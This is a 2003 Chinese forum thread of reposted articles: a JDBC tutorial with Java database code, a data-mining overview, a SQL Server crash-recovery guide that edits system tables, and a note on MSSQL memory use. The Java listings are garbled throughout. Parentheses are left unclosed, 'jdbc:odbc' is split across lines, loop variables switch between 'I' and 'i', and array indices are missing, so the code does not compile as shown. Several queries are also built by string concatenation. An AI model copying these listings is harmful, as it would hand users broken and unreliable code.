这是描述您要检索的表的类型的 String 数组。数据库中通常包括许多用于内部处理的表，而对作为用户的您没什么价值。如果它是空值，则您会得到所有这些表。如果您将其设为包含字符串“TABLES”的单元素数组，您将仅获得对用户有用的表格。

用于从数据库中获取表名的简单代码相当于获取 DatabaseMetaData 对象，并从其中检索表名：

con = DriverManager.getConnection(url);
//获取数据库的元数据
dma =con.getMetaData();
//将数据库中的表的名称转储出来
String[] types = new String[1];
types[0] = "TABLES"; //设置查询类型
//请注意通配符是 % 符号（而不是“*”）
results = dma.getTables(null, null, "%", types);

然后，我们可以打印出表名，正如我们上面所做的那样：

boolean more = results.next();
while (more)
{
for (I = 1; I <= numCols; i++)
System.out.print(results.getString(i)+" "

;
System.out.println();
more = results.next();
}

如前文所述，将所有代码包括在 try 块中。
执行 SQL 查询
我们已经理解了 JDBC 的基本对象，现在就可以执行 SQL 查询了。查询是作为 Statement 对象的方法执行的，您很容易从 Connection 对象获得Statement对象：
String query = "SELECT FoodName FROM Food;";
ResultSet results;
try
{
Statement stmt = con.createStatement();
results = stmt.executeQuery(query);
}
catch (Exception e)
{System.out.println("query exception"

;}

请注意，这个简单的查询返回 Food 表中的整个 FoodName 列。您使用像这样的简单查询获取整个列的内容。请注意，查询的查询本身是一个 ResultSet，您可以用我们上面刚讨论过的方法对它进行处理。
打印 ResultSet
因为我们总是要从 ResultSets 中打印数据，我们可以设计一种简单的方法，将整个 ResultSet 转储出来，包括表名称元数据。该子程序如下所示：
private void dumpResults(String head)
{
//这是打印列标头和每列的内容的
//通用方法
System.out.println(head);
try
{
//从元数据中获取列数
rsmd = results.getMetaData();
numCols = rsmd.getColumnCount();
//打印列名
for (I = 1; i<= numCols; i++)
System.out.print(rsmd.getColumnName(i)+" "

;
System.out.println();
//打印列内容
boolean more = results.next();
while (more)
{
for (I = 1; I <= numCols; i++)
System.out.print(results.getString(i)+" ";
System.out.println();
more = results.next();
}
}
catch(Exception e)
{System.out.println(e.getMessage());}
}

一个简单的 JDBC 程序
我们已经学习了 JDBC 的所有基本功能，现在我们可以编写一个简单的程序，该程序打开数据库，打印它的表名以及某一表列的内容，然后对该数据库执行查询。此程序如下所示：
import java.net.URL;
import java.sql.*;
import java.util.*;
class JdbcOdbc_test
{
ResultSet results;
ResultSetMetaData rsmd;
DatabaseMetaData dma;
Connection con;
int numCols, I;
//--
public JdbcOdbc_test()
{
String url = "jdbc

dbc:Grocery prices";
String query = "SELECT DISTINCTROW FoodName FROM Food " + "WHERE (FoodName like ′C%′);";
try
{
//加载 JDBC-ODBC 桥驱动程序
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver"

;
//连接数据库
con = DriverManager.getConnection(url);
//获取数据库的元数据
dma =con.getMetaData();
System.out.println("Connected to:"+dma.getURL());
System.out.println("Driver "+dma.getDriverName());
//将数据库中的表的名称转储出来
String[] types = new String[1];
types[0] = "TABLES";
//请注意通配符是 % 符号（而不是“*”）
results = dma.getTables(null, null, "%", types);
dumpResults("--Tables--"

;
results.close();
}
catch (Exception e)
{System.out.println(e);}
//获取表列的名称
System.out.println("--Column Names--"

;
try {
results =
dma.getColumns(null, null, "FoodPrice", null);
ResultSetMetaData rsmd = results.getMetaData();
int numCols = rsmd.getColumnCount();
while (results.next() )
String cname = results.getString("COLUMN_NAME"

;
System.out.print(cname + " "

;
System.out.println();
results.close();
}
catch (Exception e)
{System.out.println(e);}
//列出一个列的内容 -- 这是一个查询
try {
Statement stmt = con.createStatement();
results =
stmt.executeQuery("SELECT FOODNAME FROM FOOD;"

;
}
catch (Exception e)
{System.out.println("query exception"

;}
dumpResults("--Contents of FoodName column--");
//尝试实际的 SQL 语句
try
{
Statement stmt = con.createStatement();
results = stmt.executeQuery(query);
}
catch (Exception e)
{System.out.println("query exception");}
dumpResults("--Results of Query--");
}

该程序打印出的结果如下所示：
C:\Projects\objectJava\chapter19>java JdbcOdbc_test
Connected to:jdbc

dbc:Grocery prices
Driver JDBC-ODBC Bridge (ODBCJT32.DLL)
--Tables--
TABLE_QUALIFIER TABLE_OWNER TABLE_NAME TABLE_TYPE REMARKS
groceries null Food TABLE null
groceries null FoodPrice TABLE null
groceries null Stores TABLE null
--Column Names--
FSKey StoreKey FoodKey Price
--Contents of FoodName column--
FOODNAME
Apples
Oranges
Hamburger
Butter
Milk
Cola
Green beans
--Results of Query--
FoodName
Cola

构建更高级别的 JDBC 对象
从上面的例子可以明显看出，如果可以将我们使用过的一些方法封装在几个更高级别对象中，那将非常有帮助，我们不仅可以封装 try 程序块，而且可以更简单地访问 ResultSet 方法。
在这一部分中，我们将构建一个新的 resultSet 对象，该对象封装了 JDBC ResultSet 对象，并以 String 数组的形式返回一行数据。我们发现您始终需要从 ResultSetMetaData 对象中获取列的序号和名称，因此，创建一个封装元数据的新对象就非常合理。

另外，我们经常需要按名称或整数索引提取某行的元素，如果不必总是将这些访问语句包括 try 块中，那将大有帮助。最后一点，如果我们需要整行的内容，则更方便的做法是将整行以String 数组形式返回。在下面所示的 resultSet 对象中，我们致力于实现这些目标：

class resultSet
{
//这个类是 JDBC ResultSet 对象的更高级抽象
ResultSet rs;
ResultSetMetaData rsmd;
int numCols;
public resultSet(ResultSet rset)
{
rs = rset;
try
{
//同时获取元数据和列数
rsmd = rs.getMetaData();
numCols = rsmd.getColumnCount();
}
catch (Exception e)
{System.out.println("resultset error"
+e.getMessage());}
}
//--
public String[] getMetaData()
{
//返回包含所有列名或其他元数据的
//一个数组
String md[] = new String[numCols];
try
{
for (int i=1; i<= numCols; i++)
md[i-1] = rsmd.getColumnName(i);
}
catch (Exception e)
{System.out.println("meta data error"+
e.getMessage());}
return md;
}
//--
public boolean hasMoreElements()
{
try{
return rs.next();
}
catch(Exception e){return false;}
}
//--
public String[] nextElement()
{
//将行的内容复制到字符串数组中
String[] row = new String[numCols];
try
{
for (int I = 1; I <= numCols; i++)
row[i-1] = rs.getString(i);
}
catch (Exception e)
{System.out.println("next element error"+
e.getMessage());}
return row;
}
//--
public String getColumnValue(String columnName)
{
String res = "";
try
{
res = rs.getString(columnName);
}
catch (Exception e)
{System.out.println("Column value error:"+
columnName+e.getMessage());}
return res;
}
//--
public String getColumnValue(int i)
{
String res = "";
try
{
res = rs.getString(i);
}
catch (Exception e)
{System.out.println("Column value error:"+
columnName+e.getMessage());}
return res;
}
//--
public void finalize()
{
try{rs.close();}
catch (Exception e)
{System.out.println(e.getMessage());}
}
}

通过简单使用 new 操作符就地创建一个 ResultSet 对象，我们很容易将任何 ResultSet 对象封装在此类中：
ResultSet results = .. //按通常的方法获得ResultsSet
//利用它创建一个更有用的对象
resultSet rs = new resultSet(results);

并很容易在任何 JDBC 程序中使用这个对象。
构建一个 Database 对象
我们沿 00 链向上移的另一部分努力是创建一个 Database 对象，它将封装下列对象的行为：Connection、Statement 和 DatabaseMetaData 对象，以及我们刚刚构建的 SQL 查询和 resultSet。我们的 Database 对象允许我们创建连接、获取表名、在数据库中移动以及更简单地获得行和列的值。请注意， Execute 方法返回一个 resultSet 对象，您可以直接对它进行操作。
class Database
{
//这是一个将 JDBC 数据库的所有功能封装在单个对象中的类
Connection con;
resultSet results;
ResultSetMetaData rsmd;
DatabaseMetaData dma;
String catalog;
String types[];
public Database(String driver)
{
types = new String[1];
types[0] = "TABLES"; //初始化类型
try{Class.forName(driver);} //加载 JDBC-ODBC 桥驱动程序
catch (Exception e)
{System.out.println(e.getMessage());}
}
//--
public void Open(String url, String cat)
{
catalog = cat;
try {con = DriverManager.getConnection(url);
dma =con.getMetaData(); //获取元数据
}
catch (Exception e)
{System.out.println(e.getMessage());}
}
//--
public String[] getTableNames()
{
String[] tbnames = null;
Vector tname = new Vector();
//将表名添加到一个 Vector 中，
//因为我们不知道有多少个表
try {
results =
new resultSet(dma.getTables(catalog, null,
"%", types));

while (results.hasMoreElements())
tname.addElement(results.getColumnValue("TABLE_NAME"));

}
catch (Exception e) {System.out.println(e);}
//将表名复制到一个 String 数组中
tbnames = new String[tname.size()];
for (int i=0; i< tname.size(); i++)
tbnames = (String)tname.elementAt(i);
return tbnames;
}
//--
public String[] getTableMetaData()
{
// 返回表类型的信息
results = null;
try{
results =
new resultSet(dma.getTables(catalog, null,
"%", types));
}
catch (Exception e)
{System.out.println(e.getMessage());}
return results.getMetaData();
}
//--
public String[] getColumnMetaData(String tablename)
{
//返回一个列的数据
results = null;
try {
results =
new resultSet(dma.getColumns(catalog, null,
tablename, null));
}
catch (Exception e)
{System.out.println(e.getMessage());}
return results.getMetaData();
}
//--
public String[] getColumnNames(String table)
{
//返回一个列名数组
String[] tbnames = null;
Vector tname = new Vector();
try {
results =
new resultSet(dma.getColumns(catalog, null,
table, null));
while (results.hasMoreElements() )
tname.addElement(results.getColumnValue("COLUMN_NAME"));
}
catch (Exception e) {System.out.println(e);}
tbnames = new String[tname.size()];
for (int i=0; i< tname.size(); i++)
tbnames = (String)tname.elementAt(i);
return tbnames;
}
//--
public String getColumnValue(String table,
String columnName)
{
//返回给定列的值 String res = null;
try
{
if (table.length()>0)
results =
Execute("Select " + columnName +
" from " + table +
" order by "+columnName);
if (results.hasMoreElements())
res = results.getColumnValue(columnName);
}
catch (Exception e)
{System.out.println("Column value error" +
columnName+ e.getMessage());}
return res;
}
//--
public String getNextValue(String columnName)
{
// 使用存储的 resultSet
//返回该列的下一个值
String res = "";
try
{
if (results.hasMoreElements())
res = results.getColumnValue(columnName);
}
catch (Exception e)
{System.out.println("next value error"+
columnName+ e.getMessage());}
return res;
}
//--
public resultSet Execute(String sql)
{
//对此数据库执行一个 SQL 查询
results = null;
try
{
Statement stmt = con.createStatement();
results = new resultSet(stmt.executeQuery(sql));
}
catch (Exception e)
{System.out.println("execute error"+
e.getMessage());}
return results;
}
}

一个可视化的数据库程序
为了对我们本章学习的内容进行总结，我们编写一个简单的 GUI 程序，它可以显示数据库的表名、列名和列内容。我们还将包括一个文本区域，您可以在其中键入一个要对数据库执行的 SQL 查询。在 Companion CD-ROM 上的 \chapter20 子目录中，可以找到本程序（称为 dbFrame.java）所使用的 resultSet 和 Database 类。程序的显示界面如图 3 所示。

图 3：用来显示用 JDBC 连接的数据库中的数据的 dbFrame.java 程序。

在本程序中，默认数据库 (groceries.mdb) 的表名显示在左侧的栏中。当您单击其中一个表名时，列名就会显示在中间的栏中。最后，当您单击中间栏中的某一行时，该行的内容就会显示在右侧的栏中。

本程序的关键只是接收列表选择，然后清除并填充正确的列表框：

public void itemStateChanged(ItemEvent e)
{
Object obj = e.getSource();
if (obj == Tables) //放入列名
showColumns();
if (obj == Columns) //放入列的内容
showData();
}
//--
private void loadList(List list, String[] s)
{
//清除并填充指定的列表框
list.removeAll();
for (int i=0; i< s.length; i++)
list.add(s);
}
//--
private void showColumns()
{
//显示列名
String cnames[] =
db.getColumnNames(Tables.getSelectedItem());
loadList(Columns, cnames);
}
//--
private void showData()
{
String colname = Columns.getSelectedItem();
String colval =
db.getColumnValue(Tables.getSelectedItem(),
colname);
Data.setVisible(false);
Data.removeAll();
Data.setVisible(true);
colval =
db.getNextValue(Columns.getSelectedItem());
while (colval.length()>0)
{
Data.add(colval);
colval =
db.getNextValue(Columns.getSelectedItem());
}
}

执行查询
显示画面底部的文本区域使您可键入所需的任何 SQL 查询。演示程序中构建的一个查询如下所示：
String queryText =
"SELECT DISTINCTROW FoodName, StoreName, Price "+
"FROM (Food INNER JOIN FoodPrice ON "+
"Food.FoodKey = FoodPrice.FoodKey) " +
"INNER JOIN Stores ON "+
"FoodPrice.StoreKey = Stores.StoreKey "+
"WHERE (((Food.FoodName)=\′Oranges\′)) "+
" ORDER BY FoodPrice.Price;";

此查询简单地列出每个杂货店的桔子价格。
当您单击 Run Query 按钮时，它将执行此查询，并将 resultSet 对象传送给一个对话框进行显示：

public void actionPerformed(ActionEvent e)
{
Object obj = e.getSource();
if (obj == Quit)
System.exit(0);
if (obj == Search)
clickedSearch();
}
//--
private void clickedSearch()
{
resultSet rs = db.Execute(query.getText());
String cnames[] = rs.getMetaData();

queryDialog q = new queryDialog(this, rs);
q.show();
}

查询结果对话框
查询对话框获得 resultSet 对象，并将每一行放入一个 String 数组中，然后将这些 String 数组放入一个 Vector 中，这样就可以在 paint() 子程序运行期间快速访问这些行。
private void makeTables()
{
//将每一行放入一个 String 数组中，并将
//这些字符串数组全部放入一个 Vector 中
tables = new Vector();
String t[] = results.getMetaData();
tables.addElement( t);
while (results.hasMoreElements())
tables.addElement(results.nextElement());
}

我们通过 Graphics 的 drawString() 方法将数据绘制在一个 Panel 中。就像在 Printer 对象中一样，我们必须自己跟踪 x 和 y 的位置。
public void paint(Graphics g)
{
String s[];
int x=0;
//计算字体的高度
int y =g.getFontMetrics().getHeight();
//估算列的高度
int deltaX = (int)1.5f*
(g.getFontMetrics().stringWidth("wwwwwwwwwwwwww"));
//遍历表矢量
for (int i=0; i< tables.size(); i++)
{
s = (String[])tables.elementAt(i);
//绘制字符串数组中的每一行
for (int j =0; j< s.length; j++)
{
String st= s[j];
g.drawString(st, x, y);
x += deltaX; //移到下一列
}
x = 0; //开始一个新行
y += g.getFontMetrics().getHeight();
//列标签与列数据之间的额外空间
if (I == 0) y += g.getFontMetrics().getHeight();
}
}

内建查询的 queryDialog 如图 4 所示。

图 4：dbFrame 程序中显示的 queryDialog，其中显示的是默认查询的结果。

示例文件
groceries.zip
dbFrame.zip
jdbc-odbc Bridge
小结
在本文中，我们讨论了数据库以及检验数据库并对数据库执行查询的方法。我们已经看到，JDBC 提供了一种与平台和数据库无关的、面向对象的方法来访问这些数据，我们还学习了 JDBC 的主要对象：ResultSet、ResultSetMetaData 和 DatabaseMetaData。在用这些对象编写了一个简单的程序之后，我们设计了更高级别的 resultSet 和 Database 对象，我们用它们构建了一个简单的可视化界面来显示数据库信息。
如果您熟悉数据库的强大功能，就会认识到 SQL 语言可使您执行比我们此处所述操作更强大的任务。例如，您可以创建新表、添加、更改或删除表的行、列或单个表元。使用 JDBC，所有这一切都变得通用和易于处理。

如果您使用的是特定平台的数据库驱动程序，如 JDBC-ODBC Bridge，则您在编写应用程序时会受到限制，因为 applet 不能连接在另一台计算机上运行的这个桥。其他客户机-服务器数据库，如 IBM 的 DB2，允许您使用 applet 中的 JDBC 与其连接。
作者: ccwlm741212 时间: 2003-12-15 13:28
数据库的数据挖掘概述（一）》
［作者：佚名转贴自：本站原创点击数：2 更新时间：2003-11-26 文章录入：cxmy ］

随着数据库技术的不断发展及数据库管理系统的广泛应用，数据库中存储的数据量急剧增大，在大量的数据背后隐藏着许多重要的信息，如果能把这些信息从数据库中抽取出来，将为公司创造很多潜在的利润，而这种从海量数据库中挖掘信息的技术，就称之为数据挖掘。
数据挖掘工具能够对将来的趋势和行为进行预测，从而很好地支持人们的决策，比如，经过对公司整个数据库系统的分析，数据挖掘工具可以回答诸如“哪个客户对我们公司的邮件推销活动最有可能作出反应，为什么”等类似的问题。有些数据挖掘工具还能够解决一些很消耗人工时间的传统问题，因为它们能够快速地浏览整个数据库，找出一些专家们不易察觉的极有用的信息。

下文将对数据挖掘的基本技术作一个简单的介绍。

数据挖掘的基础

数据挖掘技术是人们长期对数据库技术进行研究和开发的结果。起初各种商业数据是存储在计算机的数据库中的，然后发展到可对数据库进行查询和访问，进而发展到对数据库的即时遍历。数据挖掘使数据库技术进入了一个更高级的阶
段，它不仅能对过去的数据进行查询和遍历，并且能够找出过去数据之间的潜在联系，从而促进信息的传递。现在数据挖掘技术在商业应用中已经可以马上投入使用，因为对这种技术进行支持的三种基础技术已经发展成熟，他们是：

海量数据搜集
强大的多处理器计算机
数据挖掘算法

商业数据库现在正在以一个空前的速度增长，并且数据仓库正在广泛地应用于各种行业；对计算机硬件性能越来越高的要求，也可以用现在已经成熟的并行多处理机的技术来满足；另外数据挖掘算法经过了这10多年的发展也已经成为一种成熟，稳定，且易于理解和操作的技术。

从商业数据到商业信息的进化过程中，每一步前进都是建立在上一步的基础上的。见下表。表中我们可以看到，第四步进化是革命性的，因为从用户的角度来看，这一阶段的数据库技术已经可以快速地回答商业上的很多问题了。

进化阶段商业问题支持技术产品厂家产品特点数据搜集
(60年代) “过去五年中我的总收入是多少？” 计算机、磁带和磁盘 IBM, CDC 提供历史性的、静态的数据信息数据访问
(80年代) “在新英格兰的分部去年三月的销售额是多少？” 关系数据库（RDBMS），结构化查询语言（SQL），ODBC Oracle、Sybase、Informix、IBM、Microsoft 在记录级提供历史性的、动态数据信息数据仓库；决策支持
(90年代) “在新英格兰的分部去年三月的销售额是多少？波士顿据此可得出什么结论？” 联机分析处理（OLAP）、多维数据库、数据仓库 Pilot、Comshare、Arbor、Cognos、Microstrategy 在各种层次上提供回溯的、动态的数据信息数据挖掘
（正在流行） “下个月波士顿的销售会怎么样？为什么？” 高级算法、多处理器计算机、海量数据库 Pilot、
Lockheed、IBM、SGI、其他初创公司提供预测性的信息

表一、数据挖掘的进化历程。

数据挖掘的核心模块技术历经了数十年的发展，其中包括数理统计、人工智能、机器学习。今天，这些成熟的技术，加上高性能的关系数据库引擎以及广泛的数据集成，让数据挖掘技术在当前的数据仓库环境中进入了实用的阶段。数据挖掘的范围

“数据挖掘”这个名字来源于它有点类似于在山脉中挖掘有价值的矿藏。在商业应用里，它就表现为在大型数据库里面搜索有价值的商业信息。这两种过程都需要对巨量的材料进行详细地过滤，并且需要智能且精确地定位潜在价值的所
在。对于给定了大小的数据库，数据挖掘技术可以用它如下的超能力产生巨大的商业机会：

自动趋势预测。数据挖掘能自动在大型数据库里面找寻潜在的预测信息。传统上需要很多专家来进行分析的问题，现在可以快速而直接地从数据中间找到答案。一个典型的利用数据挖掘进行预测的例子就是目标营销。数据挖掘工具可以根据过去邮件推销中的大量数据找出其中最有可能对将来的邮件推销作出反应的客户。自动探测以前未发现的模式。数据挖掘工具扫描整个数据库并辨认出那些隐藏着的模式，比如通过分析零售数据来辨别出表面上看起来没联系的产品，实际上有很多情况下是一起被售出的情况。

数据挖掘技术可以让现有的软件和硬件更加自动化，并且可以在升级的或者新开发的平台上执行。当数据挖掘工具运行于高性能的并行处理系统上的时候，它能在数分钟内分析一个超大型的数据库。这种更快的处理速度意味着用户有更多的机会来分析数据，让分析的结果更加准确可靠，并且易于理解。数据库可以由此拓展深度和广度

深度上，允许有更多的列存在。以往，在进行较复杂的数据分析时，专家们限于时间因素，不得不对参加运算的变量数量加以限制，但是那些被丢弃而没有参加运算的变量有可能包含着另一些不为人知的有用信息。现在，高性能的数据挖掘工具让用户对数据库能进行通盘的深度编历，并且任何可能参选的变量都被考虑进去，再不需要选择变量的子集来进行运算了。

广度上，允许有更多的行存在。更大的样本让产生错误和变化的概率降低，这样用户就能更加精确地推导出一些虽小但颇为重要的结论。最近，Gartner Group的一次高级技术调查将数据挖掘和人工智能列为“未来三到五年内将对工业产生深远影响的五大关键技术”之首，并且还将并行处理体系和数据挖掘列为未来五年内投资焦点的十大新兴技术前两位。根据最近Gartner的HPC研究表明，“随着数据捕获、传输和存储技术的快速发展，大型系统用户将更多地需要采用新技术来挖掘市场以外的价值，采用更为广阔的并行处理系统来创建新的商业增长点。”

在数据挖掘中最常用的技术有：

人工神经网络：仿照生理神经网络结构的非线形预测模型，通过学习进行模式识别。

决策树：代表着决策集的树形结构。

遗传算法：基于进化理论，并采用遗传结合、遗传变异、以及自然选择等设计方法的优化技术。

近邻算法：将数据集合中每一个记录进行分类的方法。

规则推导：从统计意义上对数据中的“如果-那么”规则进行寻找和推导。

采用上述技术的某些专门的分析工具已经发展了大约十年的历史，不过这些工具所面对的数据量通常较小。而现在这些技术已经被直接集成到许多大型的工业标准的数据仓库和联机分析系统中去了。
作者: ccwlm741212 时间: 2003-12-15 13:29
《数据库的数据挖掘概述（二）》
［作者：佚名转贴自：本站原创点击数：2 更新时间：2003-11-26 文章录入：cxmy ］

数据挖掘工具是怎样准确地告诉你那些隐藏在数据库深处的重要信息的呢？它们又是如何作出预测的？答案就是建模。建模实际上就是在你知道结果的情况下建立起一种模型，并且把这种模型应用到你所不知道的那种情况中。比如说，如果你想要在大海上去寻找一艘古老的西班牙沉船，也许你首先想到的就是去找找过去发现这些宝藏的时间和地点有哪些。那么，经过调查你发现这些沉船大部分都是在百慕大海区被发现，并且那个海区有着某种特征的洋流，以及那个时代的航线也有一定的特征可寻。在这众多的类似特征中，你将它们抽象并概括为一个普适的模型。利用这个模型，你就很有希望在具有大量相同特征的另外一个地点发现一件不为人知的宝藏。

当然，在数据挖掘技术甚至计算机出现以前，这种建模抽象的方法就已经广泛地被人们所使用。在计算机中的建模和以前的建模方法并无很大不同，主要的差异在于计算机能处理的信息量比起以前来更加庞大。计算机中能够存储已知了结果的大量不同情况，然后由数据挖掘工具从这些大量的信息里面披沙拣金，将能够产生模型的信息提取出来。一当模型建立好了之后，就可以应用在那些情形相似但结果尚未知的判断中了。比如，现在假设你是一个电信公司的营销主任，公司想发展一些新的长途电话用户，那么你是不是会漫无目的地到街上去散发广告呢？——就象漫无目的地在海上去寻宝一样。其实，比起漫无目的地去进行宣传来，利用你以前的商业经验来有目的地去拉拢客户会产生高得多的效率。

作为一个营销主任，你对客户的很多信息都可以了解得一清二楚：年龄、性别、信用记录以及长途电话使用状况。从好的一方面来看，掌握了这些客户的信息其实就是掌握了很多潜在的用户的同样的信息。问题在于你还不一定了解他们的长途电话使用情况（因为他们的长途电话也许是通过的另一个电信公司）。现在你的主要精力就集中在用户中谁有比较多的长途电话上。通过下面这个表格，我们可以从数据库里面抽象某些变量，建立起一个可以对此进行分类营销的模型。
　客户潜力
一般信息
(e.g. demographic data) 已知已知
私有信息
(e.g. customer transactions) 已知待定

表二、数据挖掘应用于分类营销

根据我们创建的从一般信息到私有信息的计算模型，我们可以得出表二右下方表格中的信息。比如，一个电信公司的简化模型可以是：年薪6万美圆以上的98%的客户，每个月长话费80美圆以上。根据这个模型，我们就能应用这些数据来推断出公司现在尚不能明确的私有信息，这样，新客户群体就可以大体确定出来了。小型市场的试销数据对于这样的模型来说显得极为有用。因为小范围内试销数据的挖掘，能够为全部市场的分类销售打下一个良好的基础。表三则描述了另外一样数据挖掘的普遍应用：预测。
　过去现在将来
静态信息和当前计划已知已知已知
动态信息已知已知待定

表三、数据挖掘应用于预测

数据挖掘的体系结构

现有很多数据挖掘工具是独立于数据仓库以外的，它们需要独立地输入输出数据，以及进行相对独立的数据分析。为了最大限度地发挥数据挖掘工具的潜力，它们必须象很多商业分析软件一样，紧密地和数据仓库集成起来。这样，在人们对参数和分析深度进行变化的时候，高集成度就能大大地简化数据挖掘过程。下图显示了一个大型数据库中的高级分析过程。

集成后的数据挖掘体系

应用数据挖掘技术，较为理想的起点就是从一个数据仓库开始，这个数据仓库里面应保存着所有客户的合同信息，并且还应有相应的市场竞争对手的相关数据。这样的数据库可以是各种市场上的数据库：Sybase、Oracle、Redbrick、和其他等等，并且可以针对其中的数据进行速度上和灵活性上的优化。

联机分析系统OLAP服务器可以使一个十分复杂的最终用户商业模型应用于数据仓库中。数据库的多维结构可以让用户从不同角度，——比如产品分类，地域分类，或者其他关键角度——来分析和观察他们的生意运营状况。数据挖掘服务器在这种情况下必须和联机分析服务器，以及数据仓库紧密地集成起来，这样就可以直接跟踪数据和并辅助用户快速作出商业决策，并且用户还可以在更新数据的时候不断发现更好的行为模式，并将其运用于未来的决策当中。

数据挖掘系统的出现代表着常规决策支持系统的基础结构的转变。不象查询和报表语言仅仅是将数据查询结果反馈给最终用户那样，数据挖掘高级分析服务器把用户的商业模型直接应用于其数据仓库之上，并且反馈给用户一个相关信息的分析结果。这个结果是一个经过分析和抽象的动态视图层，通常会根据用户的不同需求而变化。基于这个视图，各种报表工具和可视化工具就可以将分析结果展现在用户面前，以帮助用户计划将采取怎样的行动。

产生利润的工具

有很多公司都成功地安装了数据挖掘工具。早先采用了这种技术的公司大部分都是信息密集型公司，比如金融服务和邮件营销系统，但是现在这种技术已经准备好应用于各个公司中，只要公司具有大型数据库，并且有强烈的通过软件技术改善公司管理的愿望。但是采用数据挖掘技术，公司必须两个关键的因素，一个就是大型的，集成化的数据库；另一个就是定义完善的商业处理程序，这样数据挖掘才好紧密地应用于公司数据之上。

采用数据挖掘技术的一些成功应用，例如一个药品公司，通过对它最近的营销强度和销售结果的分析，来决定哪一种营销活动在最近几个月内对高附加值的医生群体影响最大，这样的分析建立在竞争对手的销售活动信息和当地健康状况的数据系统之上。然后这个药品公司可以通过其办公网络，将分析结果传达到各地的销售代表处，销售代表们则可以根据公司传递的关键信息来作出相应的销售抉择，这样，在快速变化的、动态的市场上，销售代表们都可以根据各种特殊情况的分析作出最优的选择。

结语
全面集成了客户、供应者以及市场信息的大型数据仓库导致公司内的信息呈爆炸性增长，企业在市场竞争中，需要及时而准确地对这些信息作复杂的分析。为了更加及时地，更加准确地作出利于企业的抉择，建立在关系数据库和联机分析技术上的数据挖掘工具为我们带来了一个新的转机。目前，数据挖掘工具正以前所未有的速度发展，并且扩大着用户群体，在未来越加激烈的市场竞争中，拥有数据挖掘技术必将比别人获得更快速的反应，赢得更多的商业机会。
作者: ccwlm741212 时间: 2003-12-15 14:20
当SQL Server数据库崩溃时如何恢复?
出处：PConline
责任编辑：pcedu

[03-9-8 16:14]  作者：怡红公子


　　任何数据库系统都无法避免崩溃的状况，即使你使用了Clustered，双机热备……仍然无法完全根除系统中的单点故障，何况对于大部分用户来说，无法承受这样昂贵的硬件投资。所以，在系统崩溃的时候，如何恢复原有的宝贵数据就成为一个极其重要的问题了。

　　在恢复的时候，最理想的情况就是你的数据文件和日志文件都完好无损了，这样只需要sp_attach_db，把数据文件附加到新的数据库上即可，或者在停机的时候把所有数据文件(一定要有master等)都copy到原有路径下也行，不过一般不推荐这样的做法，sp_attach_db比较好，虽然麻烦许多。

　　但是呢，一般数据库崩溃的时候系统是未必能有时间把未完成的事务和脏页等写入磁盘的，这样的情况sp_attach_db就会失败。那么，寄期望于DBA制定了一个良好的灾难恢复计划吧。按照你的恢复计划，还原最新的完全备份，增量备份或者事务日志备份，然后如果你的活动事务日志还能读得出来的话，恭喜你！你可以还原到崩溃前的状态。

　　　一般的单位都是没有专职的DBA的，如果没有可用的备份，更可能是最近一次备份的时间过于久远而导致不可接受的数据损失，而且你的活动事务日志也处于不可用的状态，那就是最麻烦的情况了。

　　不幸的很的是，一般数据库崩溃都是由于存储子系统引起的，而这样的情况是几乎不可能有可用的日志用于恢复的。

　　那么就只好试一下这些方案了。当然，是要求至少你的数据文件是存在的，要是数据文件、日志文件和备份都没有了的话，别找我，你可以到楼顶上去唱“神啊，救救我吧”。

　　首先，你可以试一下sp_attach_single_file_db，试着恢复一下你的数据文件，虽然能恢复的可能性不大，不过假如这个数据库刚好执行了一个checkpoint的话，还是有可能成功的。

　　如果你没有好到有摸彩票的手气，最重要的数据库没有像你期盼的那样attach上去，不要气馁，还是有别的方案的。

　　我们可以试着重新建立一个log，先把数据库设置为emergency mode，sysdatabases的status为32768 就表示数据库处于此状态。
作者: ccwlm741212 时间: 2003-12-15 14:20
当SQL Server数据库崩溃时如何恢复?
出处：PConline
责任编辑：pcedu

[03-9-8 16:14]  作者：怡红公子



　　不过系统表是不能随便改的，设置一下先
　　Use Master
　　Go
　　sp_configure 'allow updates', 1
　　reconfigure with override
　　Go
　　然后
　　update sysdatabases set status = 32768 where name = ''

　　现在，祈求满天神佛的保佑吧，重新建立一个log文件。成功的机会还是相当大的，系统一般都会认可你新建立的日志。如果没有报告什么错误，现在就可以松一口气了。

　　虽然数据是恢复了，可是别以为事情就算完成了，正在进行的事务肯定是丢失了，原来的数据也可能受到一些损坏。

　　先把SQL Server 重新启动一下，然后检查你的数据库吧。
　　先设置成单用户模式，然后做dbcc
　　sp_dboption '', 'single user', 'true'
　　DBCC CHECKDB('')

　　如果没有什么大问题就可以把数据库状态改回去了，记得别忘了把系统表的修改选项关掉。
update sysdatabases set status = 28 where name = '' --当然你的数据库状态可能不是这个，自己改为合适的值吧。也可以用sp_resetstatus
　　go
　　sp_configure 'allow updates', 0
　　reconfigure with override
　　Go

　　checkdb的时候可能报告有一些错误，这些错误的数据你可能就只好丢弃了。

　　checkdb有几种修复选项，自己看着用吧，不过最后你可能还是得REPAIR_ALLOW_DATA_LOSS，完成所有修复。

　　chekcdb并不能完成所有的修复，我们需要更进一步的修复，用DBCC CHECKTABLE对每一个表做检查吧。

　　表的列表可以用sysobjects里面得到，把OBJECTPROPERTY是IsTable的全部找出来检查一下吧，这样能够基本上解决问题了，如果还报告错误，试着把数据select into到另一张表检查一下。

　　这些都做完了之后，把所有索引、视图、存储过程、触发器等重新建立一下。DBCC DBREINDEX也许可以帮你一些忙。

　　上面提到的命令、对象在Books Online中均有详细说明，请注意参看
作者: ccwlm741212 时间: 2003-12-15 14:22
解决MSSQL占用过多内存的简单方法
出处：PConline
责任编辑：pcedu

[03-9-11 11:04]  作者：佚名


　　经常看见有人问，MSSQL占用了太多的内存，而且还不断的增长；或者说已经设置了使用内存，可是它没有用到那么多，这是怎么一回事儿呢?
　　

　　首先，我们来看看MSSQL是怎样使用内存的。

　　最大的开销一般是用于数据缓存，如果内存足够，它会把用过的数据和觉得你会用到的数据统统扔到内存中，直到内存不足的时候，才把命中率低的数据给清掉。所以一般我们在看statistics io的时候，看到的physics read都是0。

　　其次就是查询的开销，一般地说，hash join是会带来比较大的内存开销的，而merge join和nested loop的开销比较小，还有排序和中间表、游标也是会有比较大的开销的。

　　所以用于关联和排序的列上一般需要有索引。

　　再其次就是对执行计划、系统数据的存储，这些都是比较小的。

